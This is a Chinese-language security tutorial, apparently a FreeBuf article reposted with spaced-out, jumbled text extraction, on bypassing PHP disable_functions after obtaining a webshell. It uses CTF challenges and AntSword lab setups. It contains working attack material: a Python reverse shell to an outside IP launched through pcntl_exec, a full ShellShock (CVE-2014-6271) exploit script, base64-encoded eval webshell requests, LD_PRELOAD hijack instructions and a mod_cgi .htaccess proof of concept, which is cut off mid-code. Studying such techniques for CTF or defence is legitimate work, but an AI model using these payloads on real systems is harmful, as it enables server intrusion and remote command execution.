搜索

[16545] 2021-03-12_绕过DisableFunctions来搞事情

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-03-12_绕过DisableFunctions来搞事情 绕 过 D i s a b l e   F u n c t i o n s 来 搞 事 情 W H O A M I   F r e e B u f   2 0 2 1 - 0 3 - 1 2 前 言 前 言 我 们 辛 辛 苦 苦 拿 到 的   W e b s h e l l   居 然 无 法 执 行 系 统 命 令 ： 多 半 是 d i s a b l e _ f u n c t i o n s 惹 的 祸 。 查 看 p h p i n f o 发 现 确 实 设 置 了 d i s a b l e _ f u n c t i o n s ： 千 辛 万 苦 拿 到 的 S h e l l 却 变 成 了 一 个 空 壳 ， 你 甘 心 吗 ？ 本 篇 文 章 ， 我 从 网 上 收 集 并 整 合 了 几 种 常 见 的 绕 过 d i s a b l e _ f u n c t i o n s 的 方 法 ， 通 过 原 理 介 绍 并 结 合 典 型 的 C T F 题 目 来 分 享 给 大 家 ， 请 大 伙 尽 情 享 用 。 文 中 I P 打 码 不 全 ， 懒 得 打 了 ， 学 生 机 ， 请 各 位 大 佬 放 过 。 。 。 D i s a b l e   F u n c t i o n s 为 了 安 全 起 见 ， 很 多 运 维 人 员 会 禁 用 P H P 的 一 些 “ 危 险 ” 函 数 ， 例 如 e v a l 、 e x e c 、 s y s t e m 等 ， 将 其 写 在 p h p . i n i 配 置 文 件 中 ， 就 是 我 们 所 说 的 d i s a b l e _ f u n c t i o n s 了 ， 特 别 是 虚 拟 主 机 运 营 商 ， 为 了 彻 底 隔 离 同 服 务 器 的 客 户 ， 以 及 避 免 出 现 大 面 积 的 安 全 问 题 ， 在 d i s a b l e _ f u n c t i o n s 的 设 置 中 也 通 常 较 为 严 格 。 如 果 在 渗 透 时 ， 上 传 了 w e b s h e l l 却 因 为 d i s a b l e _ f u n c t i o n s 禁 用 了 我 们 函 数 而 无 法 执 行 命 令 的 话 ， 这 时 候 就 需 要 想 办 法 进 行 绕 过 ， 突 破 d i s a b l e _ f u n c t i o n s 。 常 规 绕 过 （ 黑 名 单 绕 过 ） 常 规 绕 过 （ 黑 名 单 绕 过 ） 即 便 是 通 过 d i s a b l e   f u n c t i o n s 限 制 危 险 函 数 ， 也 可 能 会 有 限 制 不 全 的 情 况 。 如 果 运 维 人 员 安 全 意 识 不 强 或 对 P H P 不 甚 了 解 的 话 ， 则 很 有 可 能 忽 略 某 些 危 险 函 数 ， 常 见 的 有 以 下 几 种 。 e x e c ( ) s h e l l _ e x e c ( ) s y s t e m ( ) p a s s t h r u ( ) p o p e n ( ) < ? p h p e c h o   e x e c ( ' w h o a m i ' ) ; ? > < ? p h p e c h o   s h e l l _ e x e c ( ' w h o a m i ' ) ; ? > < ? p h p s y s t e m ( ' w h o a m i ' ) ; ? > < ? p h p p a s s t h r u ( " w h o a m i " ) ; ? > < ? p h p $ c o m m a n d = $ _ P O S T [ ' c m d ' ] ;
p r o c _ o p e n ( ) 还 有 一 个 比 较 常 见 的 易 被 忽 略 的 函 数 就 是 p c n t l _ e x e c 。 利 用 利 用   p c n t l _ e x e c 使 用 条 件 ： 使 用 条 件 ： P H P 安 装 并 启 用 了 安 装 并 启 用 了 p c n t l 插 件 插 件 p c n t l 是 l i n u x 下 的 一 个 扩 展 ， 可 以 支 持 p h p 的 多 线 程 操 作 。 很 多 时 候 会 碰 到 禁 用 e x e c 函 数 的 情 况 ， 但 如 果 运 维 人 员 安 全 意 识 不 强 或 对 P H P 不 甚 了 解 ， 则 很 有 可 能 忽 略 p c n t l 扩 展 的 相 关 函 数 。 p c n t l _ e x e c ( ) 是 p c n t l 插 件 专 有 的 命 令 执 行 函 数 来 执 行 系 统 命 令 函 数 ， 可 以 在 当 前 进 程 空 间 执 行 指 定 的 程 序 。 利 用 p c n t l _ e x e c ( ) 执 行 t e s t . s h ： 由 于 p c n t l _ e x e c ( ) 执 行 命 令 是 没 有 回 显 的 ， 所 以 其 常 与 p y t h o n 结 合 来 反 弹 s h e l l ： [ 第 四 届 “ 蓝 帽 杯 ” 决 赛 ] p h p 这 道 题 利 用 的 就 是 这 个 点 。 利 用 利 用   L D _ P R E L O A D   环 境 变 量 环 境 变 量 原 理 简 述 原 理 简 述 L D _ P R E L O A D 是 L i n u x 系 统 的 一 个 环 境 变 量 ， 它 可 以 影 响 程 序 的 运 行 时 的 链 接 （ R u n t i m e   l i n k e r ） ， 它 允 许 你 定 义 在 程 序 运 行 前 优 先 加 载 的 动 态 链 接 库 。 这 个 功 能 主 要 就 是 用 来 有 选 择 性 的 载 入 不 同 动 态 链 接 库 中 的 相 同 函 数 。 通 过 这 个 环 境 变 量 ， 我 们 可 以 在 主 程 序 和 其 动 态 链 接 库 的 中 间 加 载 别 的 动 态 链 接 库 ， 甚 至 覆 盖 正 常 的 函 数 库 。 一 方 面 ， 我 们 可 以 以 此 功 能 来 使 用 自 己 的 或 是 更 好 的 函 数 （ 无 需 别 人 的 源 码 ） ， 而 另 一 方 面 ， 我 们 也 可 以 以 向 别 人 的 程 序 注 入 程 序 ， 从 而 达 到 特 定 的 攻 击 目 的 。 我 们 通 过 环 境 变 量   L D _ P R E L O A D   劫 持 系 统 函 数 ， 可 以 达 到 不 调 用   P H P   的 各 种 命 令 执 行 函 数 （ s y s t e m ( ) 、 e x e c ( )   等 等 ） 仍 可 执 行 系 统 命 令 的 目 的 。 想 要 利 用 L D _ P R E L O A D 环 境 变 量 绕 过 d i s a b l e _ f u n c t i o n s 需 要 注 意 以 下 几 点 ： 能 够 上 传 自 己 的 . s o 文 件 能 够 控 制 L D _ P R E L O A D 环 境 变 量 的 值 ， 比 如 p u t e n v ( ) 函 数 因 为 新 进 程 启 动 将 加 载 L D _ P R E L O A D 中 的 . s o 文 件 ， 所 以 要 存 在 可 以 控 制 P H P 启 动 外 部 程 序 的 函 数 并 能 执 行 ， 比 如 m a i l ( ) 、 i m a p _ m a i l ( ) 、 m b _ s e n d _ m a i l ( ) 和 e r r o r _ l o g ( ) 函 数 等 一 般 而 言 ， 利 用 漏 洞 控 制   w e b   启 动 新 进 程   a . b i n （ 即 便 进 程 名 无 法 让 我 随 意 指 定 ） ， 新 进 程   a . b i n   内 部 调 用 系 统 函 数   b ( ) ， b ( )   位 于   系 统 共 享 对 象   c . s o   中 ， 所 以 系 统 为 该 进 程 加 载 共 享 对 象   c . s o ， 想 办 法 在 加 载   c . s o   前 优 先 加 载 可 控 的   c _ e v i l . s o ， c _ e v i l . s o   内 含 与   b ( )   同 名 的 恶 意 函 数 ， 由 于   c _ e v i l . s o   优 先 级 较 高 ， 所 以 ， a . b i n   将 调 用 到   c _ e v i l . s o   内 的 b ( )   而 非 系 统 的   c . s o   内   b ( ) ， 同 时 ， c _ e v i l . s o   可 控 ， 达 到 执 行 恶 意 代 码 的 目 的 。 基 于 这 一 思 路 ， 常 见 突 破   d i s a b l e _ f u n c t i o n s   限 制 执 行 操 作 系 统 命 令 的 方 式 为 ： 编 写 一 个 原 型 为   u i d _ t   g e t u i d ( v o i d ) ;   的   C   函 数 ， 内 部 执 行 攻 击 者 指 定 的 代 码 ， 并 编 译 成 共 享 对 象   g e t u i d _ s h a d o w . s o ； 运 行   P H P   函 数   p u t e n v ( ) （ 用 来 配 置 系 统 环 境 变 量 ） ， 设 定 环 境 变 量   L D _ P R E L O A D   为   g e t u i d _ s h a d o w . s o ， 以 便 后 续 启 动 新 进 程 时 优 先 加 载 该 共 享 对 象 ； 运 行   P H P   的   m a i l ( )   函 数 ， m a i l ( )   内 部 启 动 新 进 程   / u s r / s b i n / s e n d m a i l ， 由 于 上 一 步   L D _ P R E L O A D   的 作 用 ， s e n d m a i l   调 用 的 系 统 函 数   g e t u i d ( )   被 优 先 级 更 好 的   g e t u i d _ s h a d o w . s o   中 的 同 名   g e t u i d ( )   所 劫 持 ； 达 到 不 调 用   P H P   的   各 种   命 令 执 行 函 数 （ s y s t e m ( ) 、 e x e c ( )   等 等 ） 仍 可 执 行 系 统 命 令 的 目 的 。 之 所 以 劫 持   g e t u i d ( ) ， 是 因 为   s e n d m a i l   程 序 会 调 用 该 函 数 （ 当 然 也 可 以 为 其 他 被 调 用 的 系 统 函 数 ） ， 在 真 实 环 境 中 ， 存 在 两 方 面 问 题 ： 一 是 ， 某 些 环 境 中 ， w e b   禁 止 启 用   s e n d m a i l 、 甚 至 系 统 上 根 本 未 安 装   s e n d m a i l ， 也 就 谈 不 上 劫 持   g e t u i d ( ) ， 通 常 的   w w w - d a t a   权 限 又 不 可 能 去 更 改   p h p . i n i   配 置 、 去 安 装   s e n d m a i l   软 件 ； 二 是 ， 即 便 目 标 可 以 启 用   s e n d m a i l ， 由 于 未 将 主 机 名 （ h o s t n a m e   输 出 ） 添 加 进   h o s t s   中 ， 导 致 每 次 运 行   s e n d m a i l   都 要 耗 时 半 分 钟 等 待 域 名 解 析 超 时 返 回 ， w w w - d a t a   也 无 法 将 主 机 名 加 入 h o s t s （ 如 ， 1 2 7 . 0 . 0 . 1   l a m p 、 l a m p . 、 l a m p . c o m ） 。 基 于 这 两 个 原 因 ， y a n g y a n g w i t h g n u   大 佬 找 到 了 一 个 方 式 ， 在 加 载 时 就 执 行 代 码 （ 拦 劫 启 动 进 程 ） ， 而 不 用 考 虑 劫 持 某 一 系 统 函 数 ， 那 我 就 完 全 可 以 不 依 赖   s e n d m a i l   了 ， 详 情 参 见 文 末 阅 读 原 文 。 利 用 方 法 利 用 方 法 下 面 ， 我 们 通 过   [ G K C T F 2 0 2 0 ] C h e c k I N 这 道 题 来 演 示 利 用 L D _ P R E L O A D 来 突 破 d i s a b l e _ f u n c t i o n s 的 具 体 方 法 。 $ h a n d l e   =   p o p e n ( $ c o m m a n d , " r " ) ; w h i l e ( ! f e o f ( $ h a n d l e ) ) {                         e c h o   f r e a d ( $ h a n d l e ,   1 0 2 4 ) ;     / / f r e a d ( $ h a n d l e ,   1 0 2 4 ) ; }     p c l o s e ( $ h a n d l e ) ; ? > < ? p h p $ c o m m a n d = " i p c o n f i g " ; $ d e s c r i p t o r s p e c   =   a r r a y ( 1   = >   a r r a y ( " p i p e " ,   " w " ) ) ; $ h a n d l e   =   p r o c _ o p e n ( $ c o m m a n d   , $ d e s c r i p t o r s p e c   ,   $ p i p e s ) ; w h i l e ( ! f e o f ( $ p i p e s [ 1 ] ) ) {                   e c h o   f r e a d ( $ p i p e s [ 1 ] ,   1 0 2 4 ) ;   / / f g e t s ( $ p i p e s [ 1 ] , 1 0 2 4 ) ; } ? > < ? p h p i f ( f u n c t i o n _ e x i s t s ( ' p c n t l _ e x e c ' ) )   {       p c n t l _ e x e c ( " / b i n / b a s h " ,   a r r a y ( " / t m p / t e s t . s h " ) ) ; }   e l s e   {               e c h o   ' p c n t l   e x t e n s i o n   i s   n o t   s u p p o r t ! ' ; } ? > < ? p h p   p c n t l _ e x e c ( " / u s r / b i n / p y t h o n " , a r r a y ( ' - c ' , ' i m p o r t   s o c k e t , s u b p r o c e s s , o s ; s = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ S T R E A M , s o c k e t . S O L _ T C P ) ; s . c o n n e c t ( ( " 1 3 2 . 2 3 2 . 7 5 . 9 0 " , 9 8 9 8 ) ) ; o s . d u p 2 ( s . f i l e n o ( ) , 0 ) ; o s . d u p 2 ( s . f i l e n o ( ) , 1 ) ; o s . d u p 2 ( s . f i l e n o ( ) , 2 ) ; p = s u b p r o c e s s . c a l l ( [ " / b i n / b a s h " , " - i " ] ) ; '
构 造 如 下 拿 到 s h e l l ： 但 是 无 法 执 行 命 令 ： 怀 疑 是 设 置 了 d i s a b l e _ f u n c t i o n s ， 查 看 p h p i n f o ： 发 现 确 实 设 置 了 d i s a b l e _ f u n c t i o n s ： 下 面 尝 试 绕 过 。 需 要 去 y a n g y a n g w i t h g n u   大 佬 的 g i t h u b 上 下 载 该 项 目 的 利 用 文 件 ， 点 击 文 末 阅 读 原 文 获 取 。 本 项 目 中 有 这 几 个 关 键 文 件 ： / ? G i n k g o = Z X Z h b C g k X 1 B P U 1 R b d 2 h v Y W 1 p X S k 7 #   即 e v a l ( $ _ P O S T [ w h o a m i ] ) ; / ? G i n k g o = c G h w a W 5 m b y g p O w = = #   即 p h p i n f o ( ) ;
b y p a s s _ d i s a b l e f u n c . p h p ： 一 个 用 来 执 行 命 令 的   w e b s h e l l 。 b y p a s s _ d i s a b l e f u n c _ x 6 4 . s o 或 b y p a s s _ d i s a b l e f u n c _ x 8 6 . s o ： 执 行 命 令 的 共 享 对 象 文 件 ， 分 为 6 4 位 的 和 3 2 位 的 。 b y p a s s _ d i s a b l e f u n c . c ： 用 来 编 译 生 成 上 面 的 共 享 对 象 文 件 。 对 于 b y p a s s _ d i s a b l e f u n c . p h p ， 权 限 上 传 到 w e b 目 录 的 直 接 访 问 ， 无 权 限 的 话 可 以 传 到 t m p 目 录 后 用 i n c l u d e 等 函 数 来 包 含 ， 并 且 需 要 用   G E T   方 法 提 供 三 个 参 数 ： c m d   参 数 ： 待 执 行 的 系 统 命 令 ， 如   i d   命 令 。 o u t p a t h   参 数 ： 保 存 命 令 执 行 输 出 结 果 的 文 件 路 径 （ 如   / t m p / x x ） ， 便 于 在 页 面 上 显 示 ， 另 外 该 参 数 ， 你 应 注 意   w e b   是 否 有 读 写 权 限 、 w e b   是 否 可 跨 目 录 访 问 、 文 件 将 被 覆 盖 和 删 除 等 几 点 。 s o p a t h   参 数 ： 指 定 劫 持 系 统 函 数 的 共 享 对 象 的 绝 对 路 径 （ 如   / v a r / w w w / b y p a s s _ d i s a b l e f u n c _ x 6 4 . s o ） ， 另 外 关 于 该 参 数 ， 你 应 注 意   w e b   是 否 可 跨 目 录 访 问 到 它 。 首 先 ， 想 办 法 将   b y p a s s _ d i s a b l e f u n c . p h p   和   b y p a s s _ d i s a b l e f u n c _ x 6 4 . s o   传 到 目 标 有 权 限 的 目 录 中 ： 然 后 将 b y p a s s _ d i s a b l e f u n c . p h p 包 含 进 来 并 使 用 G E T 方 法 提 供 所 需 的 三 个 参 数 ： 如 下 所 示 ， 成 功 执 行 命 令 ： 成 功 执 行 / r e a d f l a g 并 得 到 了 f l a g ： 在 蚁 剑 中 有 该 绕 过 d i s a b l e _ f u n c t i o n s 的 插 件 ： / ? G i n k g o = a W 5 j b H V k Z S g i L 3 Z h c i 9 0 b X A v Y n l w Y X N z X 2 R p c 2 F i b G V m d W 5 j L n B o c C I p O w = = & c m d = i d & o u t p a t h = / t m p / o u t f i l e 1 2 3 & s o p a t h = / v a r / t m p / b y p a s s _ d i s a b l e f u n c _ x 6 4 . s o #   i n c l u d e ( " / v a r / t m p / b y p a s s _ d i s a b l e f u n c . p h p " ) ;
我 们 选 择 模 式 并 点 击 开 始 按 钮 ， 成 功 后 蚁 剑 会 在 目 录 里 上 传 一 个 文 件 。 我 们 创 建 副 本 ,   并 将 连 接 的   U R L   s h e l l   脚 本 名 字 改 为 获 得 一 个 新 的 s h e l l ， 在 这 个 新 s h e l l 里 面 就 可 以 成 功 执 行 命 令 了 。 利 用 利 用   S h e l l S h o c k （ （ C V E - 2 0 1 4 - 6 2 7 1 ） ） 使 用 条 件 ： 使 用 条 件 ： L i n u x   操 作 系 统 、 或 函 数 可 用 目 标 系 统 的 存 在 漏 洞 s h   默 认 的   s h e l l   是   b a s h 原 理 简 述 原 理 简 述 该 方 法 利 用 的 b a s h 中 的 一 个 老 漏 洞 ， 即 B a s h   S h e l l s h o c k   破 壳 漏 洞 （ C V E - 2 0 1 4 - 6 2 7 1 ） 。 该 漏 洞 的 原 因 是 B a s h 使 用 的 环 境 变 量 是 通 过 函 数 名 称 来 调 用 的 ， 导 致 该 漏 洞 出 现 是 以 开 头 定 义 的 环 境 变 量 在 命 令   E N V   中 解 析 成 函 数 后 ， B a s h 执 行 并 未 退 出 ， 而 是 继 续 解 析 并 执 行 s h e l l 命 令 。 而 其 核 心 的 原 因 在 于 在 输 入 的 过 滤 中 没 有 严 格 限 制 边 界 ， 也 没 有 做 出 合 法 化 的 参 数 判 断 。 一 般 函 数 体 内 的 代 码 不 会 被 执 行 ， 但 破 壳 漏 洞 会 错 误 的 将 ” { } ” 花 括 号 外 的 命 令 进 行 执 行 。 P H P 里 的 某 些 函 数 （ 例 如 ： m a i l ( ) 、 i m a p _ m a i l ( ) ） 能 调 用 p o p e n 或 其 他 能 够 派 生 b a s h 子 进 程 的 函 数 ， 可 以 通 过 这 些 函 数 来 触 发 破 壳 漏 洞 ( C V E - 2 0 1 4 - 6 2 7 1 ) 执 行 命 令 。 利 用 方 法 利 用 方 法 我 们 利 用   A n t S w o r d - L a b s 项 目 来 搭 建 环 境 ： 搭 建 完 成 后 访 问   h t t p : / / y o u r - i p : 1 8 0 8 0 ， 尝 试 使 用 s y s t e m 函 数 执 行 命 令 失 败 ： 查 看 p h p i n f o 发 现 设 置 了 d i s a b l e _ f u n c t i o n s ： 我 们 使 用 蚁 剑 拿 下 s h e l l ： L D _ P R E L O A D / v a r / w w w / h t m l . a n t p r o x y . p h p . a n t p r o x y . p h p p u t e n v ( ) m a i l ( ) e r r o r _ l o g ( ) / b i n / b a s h C V E - 2 0 1 4 - 6 2 7 1 / b i n / s h   - >   / b i n / b a s h ( ) { g i t   c l o n e   h t t p s : / / g i t h u b . c o m / A n t S w o r d P r o j e c t / A n t S w o r d - L a b s . g i t c d   A n t S w o r d - L a b s / b y p a s s _ d i s a b l e _ f u n c t i o n s / 2 d o c k e r - c o m p o s e   u p   - d
A n t S w o r d   虚 拟 终 端 中 已 经 集 成 了 对   S h e l l S h o c k   的 利 用 ， 直 接 在 虚 拟 终 端 执 行 命 令 即 可 绕 过 d i s a b l e _ f u n c t i o n s ： 也 可 以 选 择 手 动 利 用 。 在 有 权 限 的 目 录 中 （ / v a r / t m p / e x p l o i t . p h p ） 上 传 以 下 利 用 脚 本 ： < ? p h p   #   E x p l o i t   T i t l e :   P H P   5 . x   S h e l l s h o c k   E x p l o i t   ( b y p a s s   d i s a b l e _ f u n c t i o n s )   #   G o o g l e   D o r k :   n o n e   #   D a t e :   1 0 / 3 1 / 2 0 1 4   #   E x p l o i t   A u t h o r :   R y a n   K i n g   ( S t a r f a l l )   #   V e n d o r   H o m e p a g e :   h t t p : / / p h p . n e t   #   S o f t w a r e   L i n k :   h t t p : / / p h p . n e t / g e t / p h p - 5 . 6 . 2 . t a r . b z 2 / f r o m / a / m i r r o r   #   V e r s i o n :   5 . *   ( t e s t e d   o n   5 . 6 . 2 )   #   T e s t e d   o n :   D e b i a n   7   a n d   C e n t O S   5   a n d   6   #   C V E :   C V E - 2 0 1 4 - 6 2 7 1   f u n c t i o n   s h e l l s h o c k ( $ c m d )   {   / /   E x e c u t e   a   c o m m a n d   v i a   C V E - 2 0 1 4 - 6 2 7 1   @ m a i l . c : 2 8 3         $ t m p   =   t e m p n a m ( " . " , " d a t a " ) ;         p u t e n v ( " P H P _ L O L = ( )   {   x ;   } ;   $ c m d   > $ t m p   2 > & 1 " ) ;         / /   I n   S a f e   M o d e ,   t h e   u s e r   m a y   o n l y   a l t e r   e n v i r o n m e n t   v a r i a b l e s w h o s e   n a m e s         / /   b e g i n   w i t h   t h e   p r e f i x e s   s u p p l i e d   b y   t h i s   d i r e c t i v e .         / /   B y   d e f a u l t ,   u s e r s   w i l l   o n l y   b e   a b l e   t o   s e t   e n v i r o n m e n t   v a r i a b l e s t h a t         / /   b e g i n   w i t h   P H P _   ( e . g .   P H P _ F O O = B A R ) .   N o t e :   i f   t h i s   d i r e c t i v e   i s e m p t y ,         / /   P H P   w i l l   l e t   t h e   u s e r   m o d i f y   A N Y   e n v i r o n m e n t   v a r i a b l e !         / / m a i l ( " a @ 1 2 7 . 0 . 0 . 1 " , " " , " " , " " , " - b v " ) ;   / /   - b v   s o   w e   d o n ' t   a c t u a l l y s e n d   a n y   m a i l         e r r o r _ l o g ( ' a ' , 1 ) ;       $ o u t p u t   =   @ f i l e _ g e t _ c o n t e n t s ( $ t m p ) ;         @ u n l i n k ( $ t m p ) ;         i f ( $ o u t p u t   ! =   " " )   r e t u r n   $ o u t p u t ;         e l s e   r e t u r n   " N o   o u t p u t ,   o r   n o t   v u l n . " ;   }   e c h o   s h e l l s h o c k ( $ _ R E Q U E S T [ " c m d " ] ) ;   ? >
然 后 包 含 该 脚 本 并 传 参 执 行 命 令 即 可 ： 如 上 图 ， 成 功 执 行 命 令 。 利 用 利 用   A p a c h e   M o d   C G I 使 用 条 件 ： 使 用 条 件 ： L i n u x   操 作 系 统 A p a c h e   +   P H P   ( a p a c h e   使 用   a p a c h e _ m o d _ p h p ) A p a c h e   开 启 了 、 W e b   目 录 给 了 权 限 当 前 目 录 可 写 原 理 简 述 原 理 简 述 早 期 的 W e b 服 务 器 ， 只 能 响 应 浏 览 器 发 来 的 H T T P 静 态 资 源 的 请 求 ， 并 将 存 储 在 服 务 器 中 的 静 态 资 源 返 回 给 浏 览 器 。 随 着 W e b 技 术 的 发 展 ， 逐 渐 出 现 了 动 态 技 术 ， 但 是 W e b 服 务 器 并 不 能 够 直 接 运 行 动 态 脚 本 ， 为 了 解 决 W e b 服 务 器 与 外 部 应 用 程 序 （ C G I 程 序 ） 之 间 数 据 互 通 ， 于 是 出 现 了 C G I （ C o m m o n   G a t e w a y   I n t e r f a c e ） 通 用 网 关 接 口 。 简 单 理 解 ， 可 以 认 为 C G I 是 W e b 服 务 器 和 运 行 在 其 上 的 应 用 程 序 进 行 “ 交 流 ” 的 一 种 约 定 。 当 遇 到 动 态 脚 本 请 求 时 ， W e b 服 务 器 主 进 程 就 会 F o r k 创 建 出 一 个 新 的 进 程 来 启 动 C G I 程 序 ， 运 行 外 部 C 程 序 或 P e r l 、 P H P 脚 本 等 ， 也 就 是 将 动 态 脚 本 交 给 C G I 程 序 来 处 理 。 启 动 C G I 程 序 需 要 一 个 过 程 ， 如 读 取 配 置 文 件 、 加 载 扩 展 等 。 当 C G I 程 序 启 动 后 会 去 解 析 动 态 脚 本 ， 然 后 将 结 果 返 回 给 W e b 服 务 器 ， 最 后 由 W e b 服 务 器 将 结 果 返 回 给 客 户 端 ， 之 前 F o r k 出 来 的 进 程 也 随 之 关 闭 。 这 样 ， 每 次 用 户 请 求 动 态 脚 本 ， W e b 服 务 器 都 要 重 新 F o r k 创 建 一 个 新 进 程 去 启 动 C G I 程 序 ， 由 C G I 程 序 来 处 理 动 态 脚 本 ， 处 理 完 成 后 进 程 随 之 关 闭 ， 其 效 率 是 非 常 低 下 的 。 而 对 于 M o d   C G I ， W e b 服 务 器 可 以 内 置 P e r l 解 释 器 或 P H P 解 释 器 。 也 就 是 说 将 这 些 解 释 器 做 成 模 块 的 方 式 ， W e b 服 务 器 会 在 启 动 的 时 候 就 启 动 这 些 解 释 器 。 当 有 新 的 动 态 请 求 进 来 时 ， W e b 服 务 器 就 是 自 己 解 析 这 些 动 态 脚 本 ， 省 得 重 新 F o r k 一 个 进 程 ， 效 率 提 高 了 。 任 何 具 有 M I M E 类 型 a p p l i c a t i o n / x - h t t p d - c g i 或 者 被 c g i - s c r i p t 处 理 器 处 理 的 文 件 都 将 被 作 为 C G I 脚 本 对 待 并 由 服 务 器 运 行 ， 它 的 输 出 将 被 返 回 给 客 户 端 。 可 以 通 过 两 种 途 径 使 文 件 成 为 C G I 脚 本 ， 一 种 是 文 件 具 有 已 由 A d d T y p e 指 令 定 义 的 扩 展 名 ， 另 一 种 是 文 件 位 于 S c r i p t A l i a s 目 录 中 。 A p a c h e 在 配 置 开 启 C G I 后 可 以 用 S c r i p t A l i a s 指 令 指 定 一 个 目 录 ， 指 定 的 目 录 下 面 便 可 以 存 放 可 执 行 的 C G I 程 序 。 若 是 想 临 时 允 许 一 个 目 录 可 以 执 行 C G I 程 序 并 且 使 得 服 务 器 将 自 定 义 的 后 缀 解 析 为 C G I 程 序 执 行 ， 则 可 以 在 目 的 目 录 下 使 用 h t a c c e s s 文 件 进 行 配 置 ， 如 下 ： 这 样 便 会 将 当 前 目 录 下 的 所 有 的 . x x x 文 件 当 做 C G I 程 序 执 行 了 。 由 于 C G I 程 序 可 以 执 行 命 令 ， 那 我 们 可 以 利 用 C G I 来 执 行 系 统 命 令 绕 过 d i s a b l e _ f u n c t i o n s 。 利 用 方 法 利 用 方 法 我 们 利 用   A n t S w o r d - L a b s 项 目 来 搭 建 环 境 ： 搭 建 完 成 后 访 问   h t t p : / / y o u r - i p : 1 8 0 8 0 ： c g i r e w r i t e A l l o w O v e r r i d e O p t i o n s   + E x e c C G I A d d H a n d l e r   c g i - s c r i p t   . x x x g i t   c l o n e   h t t p s : / / g i t h u b . c o m / A n t S w o r d P r o j e c t / A n t S w o r d - L a b s . g i t c d   A n t S w o r d - L a b s / b y p a s s _ d i s a b l e _ f u n c t i o n s / 3 d o c k e r - c o m p o s e   u p   - d
用 蚁 剑 拿 到 s h e l l 后 无 法 执 行 命 令 ： 执 行 p h p i n f o 发 现 设 置 了 d i s a b l e _ f u n c t i o n s ： 并 且 发 现 目 标 主 机 A p a c h e 开 启 了 C G I ， W e b 目 录 下 有 写 入 的 权 限 。 我 们 首 先 在 当 前 目 录 创 建   . h t a c c e s s   文 件 ， 写 入 如 下 ： 然 后 新 建   s h e l l . a n t   文 件 ， 写 入 要 执 行 的 命 令 ： 注 意 ： 注 意 ： 这 里 讲 下 一 个 小 坑 ， l i n u x 中 C G I 比 较 严 格 ， 上 传 后 可 能 会 发 现 状 态 码 5 0 0 ， 无 法 解 析 我 们 b a s h 文 件 。 因 为 我 们 的 目 标 站 点 是 l i n u x 环 境 ， 如 果 我 们 用 ( w i n d o w s 等 ) 本 地 编 辑 器 编 写 上 传 时 编 码 不 一 致 导 致 无 法 解 析 ， 所 以 我 们 可 以 在 l i n u x 环 境 中 编 写 并 导 出 再 上 传 。 此 时 我 们 的 s h e l l . x x x 还 不 能 执 行 ， 因 为 还 没 有 权 限 ， 我 们 使 用 p h p 的 c h m o d ( ) 函 数 给 其 添 加 可 执 行 权 限 ： O p t i o n s   + E x e c C G I A d d H a n d l e r   c g i - s c r i p t   . a n t # ! / b i n / s h e c h o   C o n t e n t - t y p e :   t e x t / h t m l e c h o   " " e c h o & & i d
最 后 访 问 s h e l l . a n t 文 件 便 可 成 功 执 行 命 令 ： 给 出 一 个 P O C 脚 本 ： 在 蚁 剑 中 有 该 绕 过 d i s a b l e _ f u n c t i o n s 的 插 件 ： < ? p h p $ c m d   =   " l s   / " ;   / / c o m m a n d   t o   b e   e x e c u t e d $ s h e l l f i l e   =   " # ! / b i n / b a s h n " ;   / / u s i n g   a   s h e l l s c r i p t $ s h e l l f i l e   . =   " e c h o   - n e   " C o n t e n t - T y p e :   t e x t / h t m l n n " n " ;   / / h e a d e r   i s   n e e d e d ,   o t h e r w i s e   a   5 0 0   e r r o r   i s   t h r o w n   w h e n   t h e r e   i s   o u t p u t $ s h e l l f i l e   . =   " $ c m d " ;   / / e x e c u t i n g   $ c m d f u n c t i o n   c h e c k E n a b l e d ( $ t e x t , $ c o n d i t i o n , $ y e s , $ n o )   / / t h i s   s u r e l y   c a n   b e   s h o r t e r {         e c h o   " $ t e x t :   "   .   ( $ c o n d i t i o n   ?   $ y e s   :   $ n o )   .   " < b r > n " ; } i f   ( ! i s s e t ( $ _ G E T [ ' c h e c k e d ' ] ) ) {         @ f i l e _ p u t _ c o n t e n t s ( ' . h t a c c e s s ' ,   " n S e t E n v   H T A C C E S S   o n " ,   F I L E _ A P P E N D ) ;   / / A p p e n d   i t   t o   a   . h t a c c e s s   f i l e   t o   s e e   w h e t h e r   . h t a c c e s s   i s   a l l o w e d         h e a d e r ( ' L o c a t i o n :   '   .   $ _ S E R V E R [ ' P H P _ S E L F ' ]   .   ' ? c h e c k e d = t r u e ' ) ;   / / e x e c u t e   t h e   s c r i p t   a g a i n   t o   s e e   i f   t h e   h t a c c e s s   t e s t   w o r k e d } e l s e {         $ m o d c g i   =   i n _ a r r a y ( ' m o d _ c g i ' ,   a p a c h e _ g e t _ m o d u l e s ( ) ) ;   / /   m o d _ c g i   e n a b l e d ?         $ w r i t a b l e   =   i s _ w r i t a b l e ( ' . ' ) ;   / / c u r r e n t   d i r   w r i t a b l e ?         $ h t a c c e s s   =   ! e m p t y ( $ _ S E R V E R [ ' H T A C C E S S ' ] ) ;   / / h t a c c e s s   e n a b l e d ?                 c h e c k E n a b l e d ( " M o d - C g i   e n a b l e d " , $ m o d c g i , " Y e s " , " N o " ) ;                 c h e c k E n a b l e d ( " I s   w r i t a b l e " , $ w r i t a b l e , " Y e s " , " N o " ) ;                 c h e c k E n a b l e d ( " h t a c c e s s   w o r k i n g " , $ h t a c c e s s , " Y e s " , " N o " ) ;         i f ( ! ( $ m o d c g i   & &   $ w r i t a b l e   & &   $ h t a c c e s s ) )         {                 e c h o   " E r r o r .   A l l   o f   t h e   a b o v e   m u s t   b e   t r u e   f o r   t h e   s c r i p t   t o   w o r k ! " ;   / / a b o r t   i f   n o t         }         e l s e         {                 c h e c k E n a b l e d ( " B a c k i n g   u p   . h t a c c e s s " , c o p y ( " . h t a c c e s s " , " . h t a c c e s s . b a k " ) , " S u c e e d e d !   S a v e d   i n   . h t a c c e s s . b a k " , " F a i l e d ! " ) ;   / / m a k e   a   b a c k u p ,   c a u s e   y o u   n e v e r   k n o w .                 c h e c k E n a b l e d ( " W r i t e   . h t a c c e s s   f i l e " , f i l e _ p u t _ c o n t e n t s ( ' . h t a c c e s s ' , " O p t i o n s   + E x e c C G I n A d d H a n d l e r   c g i - s c r i p t   . d i z z l e " ) , " S u c c e e d e d ! " , " F a i l e d ! " ) ;   / / . d i z z l e   i s   a   n i c e   e x t e n s i o n                 c h e c k E n a b l e d ( " W r i t e   s h e l l   f i l e " , f i l e _ p u t _ c o n t 